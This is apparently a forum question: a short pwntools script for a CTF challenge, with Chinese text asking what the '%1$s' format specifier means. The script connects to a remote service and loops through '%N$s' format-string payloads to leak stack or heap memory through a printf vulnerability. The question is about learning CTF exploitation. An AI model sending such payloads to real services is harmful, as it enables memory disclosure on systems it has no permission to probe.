from pwn import *
for i in range(10):
try:
sh = remote('abc.com', 8080)
sh.sendlineafter('> ', '%{}$s'.format(i))
symbol=sh.sendlineafter('> ', '%{}$s'.format(i))
print sh.recvuntil('> ')
print(i)
sh.close()
except EOFError:
pass
上面的代码具有类似%1 $ s,%2 $ s,%3 $ s 的输出,等等……!我想知道“ %1 $ s ”是什么意思,例如“ %1 ”和“ $ s ”是什么意思,请帮帮我,因为这是c中printf函数中格式字符串漏洞的ctf挑战。该脚本通过获取堆/堆栈上的内存地址值或类似的内容来解决该问题。